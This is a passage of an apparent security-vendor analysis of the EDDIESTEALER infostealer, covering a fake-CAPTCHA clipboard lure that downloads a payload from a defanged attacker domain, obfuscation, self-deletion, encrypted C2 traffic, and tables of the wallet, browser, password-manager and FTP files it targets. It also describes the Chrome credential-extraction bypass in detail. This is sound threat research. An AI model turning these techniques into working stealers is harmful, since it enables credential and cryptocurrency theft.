<p>Mimicking Google's reCAPTCHA verification interface, the malware uses the <code>document.execCommand(&quot;copy&quot;)</code> method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command.</p>
<p>This command silently downloads a second-stage payload (<code>gverify.js</code>) from the attacker-controlled domain <code>hxxps://llll.fit/version/</code> and saves it to the user’s <code>Downloads</code> folder.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image18.png" alt="Copy PowerShell command to clipboard" title="Copy PowerShell command to clipboard" /></p>
<p>Finally, the malware executes <code>gverify.js</code> using <code>cscript</code> in a hidden window.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image35.png" alt="PowerShell command to download and execute the second script" title="PowerShell command to download and execute the second script" /></p>
<p><code>gverify.js</code> is another obfuscated JavaScript payload that can be deobfuscated using open-source <a href="https://github.com/ben-sb/javascript-deobfuscator">tools</a>. Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from <code>hxxps://llll.fit/io</code> and saving the file under the user’s <code>Downloads</code> folder with a pseudorandom 12-character file name.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image2.png" alt="PowerShell script to download and execute EDDIESTEALER" title="PowerShell script to download and execute EDDIESTEALER" /></p>
<h2>EDDIESTEALER</h2>
<h3>Overview</h3>
<p>EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified.</p>
<h3>Stripped Symbols</h3>
<p>EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used &lt;code&gt;<a href="https://github.com/N0fix/rustbinsign">rustbinsign</a>&lt;/code&gt;, which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While <code>rustbinsign</code> only detected &lt;code&gt;<a href="https://docs.rs/hashbrown/latest/hashbrown/">hashbrown</a>&lt;/code&gt; and &lt;code&gt;<a href="https://docs.rs/rustc-demangle/latest/rustc_demangle/">rustc-demangle</a>&lt;/code&gt;, suggesting few external crates being used, it failed to identify crates such as &lt;code&gt;<a href="https://docs.rs/tinyjson/latest/tinyjson/">tinyjson</a>&lt;/code&gt; and &lt;code&gt;<a href="https://docs.rs/tokio-tungstenite/latest/tokio_tungstenite/">tungstenite</a>&lt;/code&gt; in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the <code>download_sign</code> mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image40.png" alt="rustbinsign “info” output" title="rustbinsign “info” output" /></p>
<h3>String Obfuscation</h3>
<p>EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string.</p>
<p>The following example illustrates this, where <code>sub_140020fd0</code> is the key derivation function, and <code>data_14005ada8</code> is the address of the encrypted blob.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image17.png" alt="Example decryption operation" title="Example decryption operation" /></p>
<p>Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image39.png" alt="Key derivation functions" title="Key derivation functions" /></p>
<p>Binary Ninja has a handy feature called &lt;code&gt;<a href="https://docs.binary.ninja/dev/uidf.html">User-Informed Data Flow</a>&lt;/code&gt; (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like <a href="https://www.unicorn-engine.org/">Unicorn</a> paired with a scriptable binary analysis tool can also be useful for batch analysis.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image11.png" alt="Binary Ninja’s UIDF applied" title="Binary Ninja’s UIDF applied" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image42.png" alt="Batch processing to decrypt all strings" title="Batch processing to decrypt all strings" /></p>
<p>There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (<code>WaitOnAddress</code>/<code>WakeByAddressAll</code>) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a <code>dyn Trait</code> object.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image34.png" alt="Decryption routine abstracted through dyn Trait object and lazy init of shared resource" title="Decryption routine abstracted through dyn Trait object and lazy init of shared resource" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image12.png" alt="Example Trait object vtable" title="Example Trait object vtable" /></p>
<h3>API Obfuscation</h3>
<p>EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom <code>LoadLibrary</code> wrapper, into the process’s address space, and invokes a <a href="https://github.com/cocomelonc/2023-04-16-malware-av-evasion-16/blob/ba05e209e079c2e339c67797b5a563a2e4dc0106/hack.cpp#L75">well-known implementation of GetProcAddress</a> to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image31.png" alt="Core functions handling dynamic imports and API resolutions" title="Core functions handling dynamic imports and API resolutions" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image23.png" alt="Custom GetProcAddress implementation" title="Custom GetProcAddress implementation" /></p>
<h3>Mutex Creation</h3>
<p>EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string <code>431e2e0e-c87b-45ac-9fdb-26b7e24f0d39</code> (unique per sample), which is later referenced once more during its initial contact with the C2 server.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image7.png" alt="Retrieve the UUID and create a mutex with it" title="Retrieve the UUID and create a mutex with it" /></p>
<h3>Sandbox Detection</h3>
<p>EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image27.png" alt="Memory check" title="Memory check" /></p>
<h3>Self-Deletion</h3>
<p>Based on a similar <a href="https://github.com/LloydLabs/delete-self-poc/tree/main">self-deletion technique</a> observed in <a href="https://www.elastic.co/fr/security-labs/spring-cleaning-with-latrodectus">LATRODECTUS</a>, EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks.</p>
<p>The malware uses <code>GetModuleFileName</code> to obtain the full path of its executable and <code>CreateFileW</code> (wrapped in <code>jy::ds::OpenHandle</code>) to open a handle to its executable file with the appropriate access rights. Then, a <code>FILE_RENAME_INFO</code> structure with a new stream name is passed into <code>SetFileInformationByHandle</code> to rename the default stream <code>$DATA</code> to <code>:metadata</code>. The file handle is closed and reopened, this time using <code>SetFileInformationByHandle</code> on the handle with the <code>FILE_DISPOSITION_INFO.DeleteFile</code> flag set to <code>TRUE</code> to enable a &quot;delete on close handle&quot; flag.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image6.png" alt="Self-deletion through ADS renaming" title="Self-deletion through ADS renaming" /></p>
<h3>Additional Configuration Request</h3>
<p>The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;/&lt;UUID&gt;</code>. The <code>resource_path</code> is specified as <code>api/handler</code>.  The <code>UUID</code>, utilized earlier to create a mutex, is used as a unique identifier for build tracking.</p>
<p>EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image16.png" alt="Decrypt strings required to build URI for C2 comms" title="Decrypt strings required to build URI for C2 comms" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image21.png" alt="HTTP request wrapper" title="HTTP request wrapper" /></p>
<p>The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (<code>:</code>).</p>
<pre><code>Base64(IV):Base64(AESEncrypt(data))
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image3.png" alt="Encrypted data received from C2" title="Encrypted data received from C2" /></p>
<p>The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the <code>.rdata</code> section. It is retrieved through a getter function.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image41.png" alt="Hardcoded AES key" title="Hardcoded AES key" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image8.png" alt="Core wrapper functions for config decryption" title="Core wrapper functions for config decryption" /></p>
<p>The decrypted configuration for this sample contains the following in JSON format:</p>
<ul>
<li>Session ID</li>
<li>List of tasks (data to target)</li>
<li>AES key for client-to-server message encryption</li>
<li>Self-delete flag</li>
</ul>
<pre><code class="language-json">{
    &quot;session&quot;: &quot;&lt;unique_session_id&gt;&quot;,
    &quot;tasks&quot;: [
        {
            &quot;id&quot;: &quot;&lt;unique_task_id&gt;&quot;,
            &quot;prepare&quot;: [],
            &quot;pattern&quot;: {
                &quot;path&quot;: &quot;&lt;file_system_path&gt;&quot;,
                &quot;recursive&quot;: &lt;true/false&gt;,
                &quot;filters&quot;: [
                    {
                        &quot;path_filter&quot;: &lt;null/string&gt;,
                        &quot;name&quot;: &quot;&lt;file_or_directory_name_pattern&gt;&quot;,
                        &quot;entry_type&quot;: &quot;&lt;FILE/DIR&gt;&quot;
                    },
                    ...
                ]
            },
            &quot;additional&quot;: [
                {
                    &quot;command&quot;: &quot;&lt;optional_command&gt;&quot;,
                    &quot;payload&quot;: {
                        &quot;&lt;command_specific_config&gt;&quot;: &lt;value&gt;
                    }
                },
                ...
            ]
        },
        ...
    ],
    &quot;network&quot;: {
        &quot;encryption_key&quot;: &quot;&lt;AES_encryption_key&gt;&quot;
    },
    &quot;self_delete&quot;: &lt;true/false&gt;
}
</code></pre>
<p>For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets:</p>
<ul>
<li>Crypto wallets</li>
<li>Browsers</li>
<li>Password managers</li>
<li>FTP clients</li>
<li>Messaging applications</li>
</ul>
<table>
<thead>
<tr>
<th>Crypto Wallet</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Armory</td>
<td><code>%appdata%\\Armory\\*.wallet</code></td>
</tr>
<tr>
<td>Bitcoin</td>
<td><code>%appdata%\\Bitcoin\\wallets\\*</code></td>
</tr>
<tr>
<td>WalletWasabi</td>
<td><code>%appdata%\\WalletWasabi\\Client\\Wallets\\*</code></td>
</tr>
<tr>
<td>Daedalus Mainnet</td>
<td><code>%appdata%\\Daedalus Mainnet\\wallets\\*</code></td>
</tr>
<tr>
<td>Coinomi</td>
<td><code>%localappdata%\\Coinomi\\Coinomi\\wallets\\*</code></td>
</tr>
<tr>
<td>Electrum</td>
<td><code>%appdata%\\Electrum\\wallets\\*</code></td>
</tr>
<tr>
<td>Exodus</td>
<td><code>%appdata%\\Exodus\\exodus.wallet\\*</code></td>
</tr>
<tr>
<td>DashCore</td>
<td><code>%appdata%\\DashCore\\wallets\\*</code></td>
</tr>
<tr>
<td>ElectronCash</td>
<td><code>%appdata%\\ElectronCash\\wallets\\*</code></td>
</tr>
<tr>
<td>Electrum-DASH</td>
<td><code>%appdata%\\Electrum-DASH\\wallets\\*</code></td>
</tr>
<tr>
<td>Guarda</td>
<td><code>%appdata%\\Guarda\\IndexedDB</code></td>
</tr>
<tr>
<td>Atomic</td>
<td><code>%appdata%\\atomic\\Local Storage</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Browser</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft Edge</td>
<td><code>%localappdata%\\Microsoft\\Edge\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Brave</td>
<td><code>%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Google Chrome</td>
<td><code>%localappdata%\\Google\\Chrome\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Mozilla Firefox</td>
<td><code>%appdata%\\Mozilla\\Firefox\\Profiles\\</code>&lt;br /&gt;<code>[key4.db,places.sqlite,logins.json,cookies.sqlite,formhistory.sqlite,webappsstore.sqlite,*+++*]</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Password Manager</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bitwarden</td>
<td><code>%appdata%\\Bitwarden\\data.json</code></td>
</tr>
<tr>
<td>1Password</td>
<td><code>%localappdata%\\1Password\\</code>&lt;br /&gt;<code>[1password.sqlite,1password_resources.sqlite]</code></td>
</tr>
<tr>
<td>KeePass</td>
<td><code>%userprofile%\\Documents\\*.kdbx</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>FTP Client</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>FileZilla</td>
<td><code>%appdata%\\FileZilla\\recentservers.xml</code></td>
</tr>
<tr>
<td>FTP Manager Lite</td>
<td><code>%localappdata%\\DeskShare Data\\FTP Manager Lite\\2.0\\FTPManagerLiteSettings.db</code></td>
</tr>
<tr>
<td>FTPbox</td>
<td><code>%appdata%\\FTPbox\\profiles.conf</code></td>
</tr>
<tr>
<td>FTP Commander Deluxe</td>
<td><code>%ProgramFiles(x86)%\\FTP Commander Deluxe\\FTPLIST.TXT</code></td>
</tr>
<tr>
<td>Auto FTP Manager</td>
<td><code>%localappdata%\\DeskShare Data\\Auto FTP Manager\\AutoFTPManagerSettings.db</code></td>
</tr>
<tr>
<td>3D-FTP</td>
<td><code>%programdata%\\SiteDesigner\\3D-FTP\\sites.ini</code></td>
</tr>
<tr>
<td>FTPGetter</td>
<td><code>%appdata%\\FTPGetter\\servers.xml</code></td>
</tr>
<tr>
<td>Total Commander</td>
<td><code>%appdata%\\GHISLER\\wcx_ftp.ini</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Messaging App</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Telegram Desktop</td>
<td><code>%appdata%\\Telegram Desktop\\tdata\\*</code></td>
</tr>
</tbody>
</table>
<p>A list of targeted browser extensions can be found <a href="https://gist.github.com/jiayuchann/ba3cd9f4f430a9351fdff75869959853">here</a>.</p>
<p>These targets are subject to change as they are configurable by the C2 operator.</p>
<p>EDDIESTEALER then reads the targeted files using standard <code>kernel32.dll</code> functions like <code>CreateFileW</code>, <code>GetFileSizeEx</code>, <code>ReadFile</code>, and <code>CloseHandle</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image26.png" alt="APIs for reading files specified in the task list" title="APIs for reading files specified in the task list" /></p>
<h3>Subsequent C2 Traffic</h3>
<p>After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system:</p>
<ul>
<li>Location of the executable (<code>GetModuleFileNameW</code>)</li>
<li>Locale ID (<code>GetUserDefaultLangID</code>)</li>
<li>Username (<code>GetUserNameW</code>)</li>
<li>Total amount of physical memory (<code>GlobalMemoryStatusEx</code>)</li>
<li>OS version (<code>RtlGetVersion</code>)</li>
</ul>
<p>Following the same data format (<code>Base64(IV):Base64(AESEncrypt(data))</code>) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;/info/&lt;session_id&gt;</code>. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;&lt;session_id&gt;/&lt;task_id&gt;</code>, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image20.png" alt="C2 traffic log" title="C2 traffic log" /></p>
<p>Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as:</p>
<ul>
<li><code>apps\bin\src\services\chromium_hound.rs</code></li>
<li><code>apps\bin\src\services\system.rs</code></li>
<li><code>apps\bin\src\structs\search_pattern.rs</code></li>
<li><code>apps\bin\src\structs\search_entry.rs</code></li>
</ul>
<p>We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image25.png" alt="Example error message" title="Example error message" /></p>
<h3>Chromium-specific Capabilities</h3>
<p>Since the <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">introduction</a> of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a> is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust.</p>
<p>Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from <code>%localappdata%\&lt;browser_specific_path&gt;\\User Data\\Last Version</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image33.png" alt="Browser version check" title="Browser version check" /></p>
<p>COOKIEKATZ <a href="https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/COOKIEKATZ/Main.cpp#L210">signature pattern</a> for detecting COOKIEMONSTER instances:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image24.png" alt="COOKIEKATZ signature pattern" title="COOKIEKATZ signature pattern" /></p>
<p>CredentialKatz <a href="https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/CredentialKatz/Main.cpp#L188">signature pattern</a> for detecting CookieMonster instances:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image4.png" alt="CHROMEKATZ signature pattern" title="CHROMEKATZ signature pattern" /></p>
<p>Here is an example of the exact copy-pasted logic of COOKIEKATZ’s <code>FindPattern</code>, where <code>PatchBaseAddress</code> is inlined.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image28.png" alt="COOKIEKATZ FindPattern logic" title="COOKIEKATZ FindPattern logic" /></p>
<p>The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments <code>--window-position=-3000,-3000 https://google.com</code>. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (<code>ReadProcessMemory</code>) of the necessary child process - the network service process identified by the <code>--utility-sub-type=network.mojom.NetworkService</code> flag. For a more detailed explanation of this browser process interaction, refer to <a href="https://www.elastic.co/fr/security-labs/katz-and-mouse-game">our previous research on MaaS infostealers</a>.</p>
<h3>Differences with variants</h3>
<p>After analysis, more recent samples were identified with additional capabilities.</p>
<p>Information gathered on victim machines now include:</p>
<ul>
<li>Running processes</li>
<li>GPU information</li>
<li>Number of CPU cores</li>
<li>CPU name</li>
<li>CPU vendor</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image14.png" alt="Example system data collected" title="Example system data collected" /></p>
<p>The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image19.png" alt="Possible sandbox/anti-analysis technique on C2 server-side" title="Possible sandbox/anti-analysis technique on C2 server-side" /></p>
<p>The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image29.png" alt="Example Hardcoded AES keys" title="Example Hardcoded AES keys" /></p>
<p>Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image1.png" alt="Old vs new: control flow graph for the HTTP request function" title="Old vs new: control flow graph for the HTTP request function" /></p>
<p>In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the <code>--remote-debugging-port=&lt;port_num&gt;</code> flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image22.png" alt="Setting up Chrome process with remote debugging" title="Setting up Chrome process with remote debugging" /></p>
<p>After launching Chrome, the malware queries <code>http://localhost:&lt;port&gt;/json/version</code> to retrieve the <code>webSocketDebuggerUrl</code>, which provides the endpoint for interacting with the browser instance over WebSocket.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image38.png" alt="Sending request to retrieve webSocketDebuggerUrl" title="Sending request to retrieve webSocketDebuggerUrl" /></p>
<p>Using this connection, it issues a <code>Target.createTarget</code> command with the parameter <code>chrome://password-manager/passwords</code>, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image15.png" alt="Decrypted strings referenced when accessing Chrome’s password manager" title="Decrypted strings referenced when accessing Chrome’s password manager" /></p>
<p>Based on decrypted strings <code>os_crypt</code>, <code>encrypted_key</code>, <code>CryptUnprotectData</code>, <code>local_state_pattern</code>, and <code>login_data_pattern</code>, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption.</p>
<p>We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER.</p>
<h2>A Few Analysis Tips</h2>
<h3>Tracing</h3>
<p>To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like &lt;code&gt;<a href="https://github.com/hasherezade/tiny_tracer">TinyTracer</a>&lt;/code&gt; can capture an API trace and generate a <code>.tag</code> file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls <code>WinAPI</code> functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like &lt;code&gt;<a href="https://github.com/leandrofroes/bn_ifl">IFL</a>&lt;/code&gt;.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image5.png" alt="Example comment markup after importing .tag file" title="Example comment markup after importing .tag file" /></p>
<h3>Panic Metadata for Code Segmentation</h3>
<p><a href="https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/">Panic metadata</a> - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like <code>apps\bin\src\services\chromium.rs</code>, <code>apps\bin\src\structs\additional_task.rs</code> or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with <code>library&lt;core/alloc/std&gt;\src\</code> indicates code from the Rust standard library. Paths containing crate name and version such as <code>hashbrown-0.15.2\src\raw\mod.rs</code> point to external libraries.</p>
<p>If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string <code>apps\bin\src\utils\json.rs:48:39</code> is referenced in <code>sub_140011b4c</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image10.png" alt="Panic string containing “json.rs” referenced in function sub_140011b4c" title="Panic string containing “json.rs” referenced in function sub_140011b4c" /></p>
<p>By examining the call tree for incoming calls to the function, many of them trace back to <code>sub_14002699d</code>. This function (<code>sub_14002699d</code>) is called within a known C2 communication routine (<code>jy::C2::RetrieveAndDecryptConfig</code>), right after decrypting additional configuration data known to be JSON formatted.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image30.png" alt="Call tree of function sub_140011b4c" title="Call tree of function sub_140011b4c" /></p>
<p>Based on the <code>json.rs</code> path and its calling context, an educated guess would be that <code>sub_14002699d</code> is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image37.png" alt="Function sub_14002699d successfully parsing configuration fields" title="Function sub_14002699d successfully parsing configuration fields" /></p>
<p>For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online.</p>
<h3>Stack Slot Reuse</h3>
<p>One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points.</p>
<p>To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image32.png" alt="Stack slot reuse, resorting to UNION approach" title="Stack slot reuse, resorting to UNION approach" /></p>
<h3>Rust Error Handling and Enums</h3>
<p>Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag).</p>
<p>Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the <code>Result&lt;T, E&gt;</code> generic enum. It has two variants: <code>Ok(T)</code>, indicating success and containing a value of type <code>T</code>, and <code>Err(E)</code>, indicating failure and containing an error value of type <code>E</code>.</p>
<p>In the example snippet below, a discriminant value of <code>0x8000000000000000</code> is used to differentiate outcomes of resolving the <code>CreateFileW</code> API. If <code>CreateFileW</code> is successfully resolved, the <code>reuse</code> variable type contains the API function pointer, and the <code>else</code> branch executes. Otherwise, the <code>if</code> branch executes, assigning an error information string from <code>reuse</code> to <code>arg1</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image13.png" alt="Error handling example" title="Error handling example" /></p>
<p>For more information on how other common Rust types might look in memory, check out this <a href="https://cheats.rs/#memory-layout">cheatsheet</a> and this amazing <a href="https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s">talk</a> by Cindy Xiao!</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the<a href="https://attack.mitre.org/"> MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1659/">Content Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
